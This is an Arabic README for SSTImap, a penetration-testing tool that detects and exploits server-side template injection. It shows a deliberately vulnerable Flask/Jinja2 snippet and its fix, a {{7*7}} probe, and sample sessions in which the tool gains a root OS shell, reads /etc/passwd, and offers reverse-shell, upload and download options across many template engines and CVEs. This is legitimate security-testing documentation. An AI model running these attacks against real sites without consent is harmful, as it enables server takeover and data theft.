
أداة كشف تلقائي لـ SSTI بواجهة تفاعلية
هذا المشروع مبني على Tplmap.
SSTImap هو برنامج لاختبار الاختراق يمكنه فحص المواقع الإلكترونية بحثًا عن ثغرات حقن الأكواد وحقن القوالب من جانب الخادم (SSTI) واستغلالها، مما يتيح الوصول إلى نظام التشغيل نفسه.
تم تطوير هذه الأداة لتُستخدم كأداة تفاعلية لاختبار الاختراق لاكتشاف واستغلال SSTI، مما يسمح باستغلال أكثر تقدمًا. يمكن العثور على المزيد من الحمولات لـ SSTImap هنا.
جاءت الحمولات والتقنيات من:
هذه الأداة قادرة على استغلال بعض هروب سياقات الأكواد وسيناريوهات الحقن الأعمى. كما أنها تدعم حقنًا شبيهًا بـ eval() في Java, JavaScript, PHP, Python, Ruby ومحركات القوالب العامة غير المحصورة.
على الرغم من أن هذا البرنامج مبني على كود Tplmap، إلا أن التوافق العكسي غير متوفر.
-i) يسمح باستغلال واكتشاف أسهل--genericEval_genericeval() للغة الأساسية (-x) أو أمر واحد (-X)-h للمساعدةهذا مثال على موقع إلكتروني بسيط مكتوب بلغة Python باستخدام إطار Flask ومحرك القوالب Jinja2. يقوم بدمج المتغير name المُقدم من المستخدم بطريقة غير آمنة، حيث يتم ربطه مع سلسلة القالب قبل العرض.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
لا يؤدي هذا الاستخدام للقوالب إلى ثغرة XSS فحسب، بل يسمح أيضًا للمهاجم بحقن كود القالب الذي سيتم تنفيذه على الخادم، مما يؤدي إلى SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
يجب إدخال المدخلات المقدمة من المستخدم بطريقة آمنة من خلال سياق العرض:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap في الوضع المحدد مسبقًا مشابه جدًا لـ Tplmap. إنه قادر على اكتشاف واستغلال ثغرات SSTI في العديد من القوالب المختلفة.
بعد الاستغلال، يمكن لـ SSTImap توفير الوصول إلى تقييم الأكواد، وتنفيذ أوامر نظام التشغيل، والتلاعب بنظام الملفات.
لفحص عنوان URL، يمكنك استخدام الوسيط -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
استخدم الخيار --os-shell لتشغيل محطة طرفية زائفة على الهدف.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
للحصول على قائمة كاملة بالخيارات، استخدم الوسيط --help.
في الوضع التفاعلي، تُستخدم الأوامر للتفاعل مع SSTImap. للدخول إلى الوضع التفاعلي، يمكنك استخدام الوسيط -i. سيتم استخدام جميع الوسائط الأخرى، باستثناء تلك المتعلقة بحمولات الاستغلال، كقيم أولية للإعدادات.
تُستخدم بعض الأوامر لتعديل الإعدادات بين جلسات الاختبار. لتشغيل اختبار، يجب توفير عنوان URL الهدف عبر الوسيط الأولي -u أو الأمر url. بعد ذلك، يمكنك استخدام الأمر run لفحص عنوان URL بحثًا عن SSTI.
إذا تم العثور على SSTI، يمكن استخدام الأوامر لبدء الاستغلال. يمكنك الحصول على نفس قدرات الاستغلال الموجودة في الوضع المحدد مسبقًا، ولكن يمكنك استخدام Ctrl+C لإلغائها دون إيقاف البرنامج.
بالمناسبة، تظل نتائج الاختبار صالحة حتى يتم تغيير عنوان URL الهدف، لذا يمكنك التبديل بسهولة بين طرق الاستغلال دون الحاجة إلى تشغيل اختبار الاكتشاف في كل مرة.
للحصول على قائمة كاملة بالأوامر التفاعلية، استخدم الأمر help في الوضع التفاعلي.
يدعم SSTImap العديد من محركات القوالب وحقنًا شبيهًا بـ eval().
نرحب بالحمولات الجديدة في طلبات السحب (PRs). تحقق من النصائح لتسريع التطوير.
التقنيات: (R)endered, (E)rror-based, (B)oolean error-based blind و (T)ime-based blind; الحرف الصغير يشير إلى تقنية مدعومة جزئيًا
يمكن العثور على المزيد من الإضافات والحمولات في مستودع SSTImap Extra Plugins.
حاليًا، يعمل Burp Suite فقط مع Jython كطريقة لتنفيذ python2. لا يتم توفير وظائف Python3.
إذا كنت تخطط للمساهمة بشيء كبير من هذه القائمة، يرجى إبلاغي لتجنب العمل على نفس الشيء مثلي أو مثل المساهمين الآخرين.
| Engine | RCE | Tech | Language | Type |
|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19) | ✓ | REBT | PHP | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |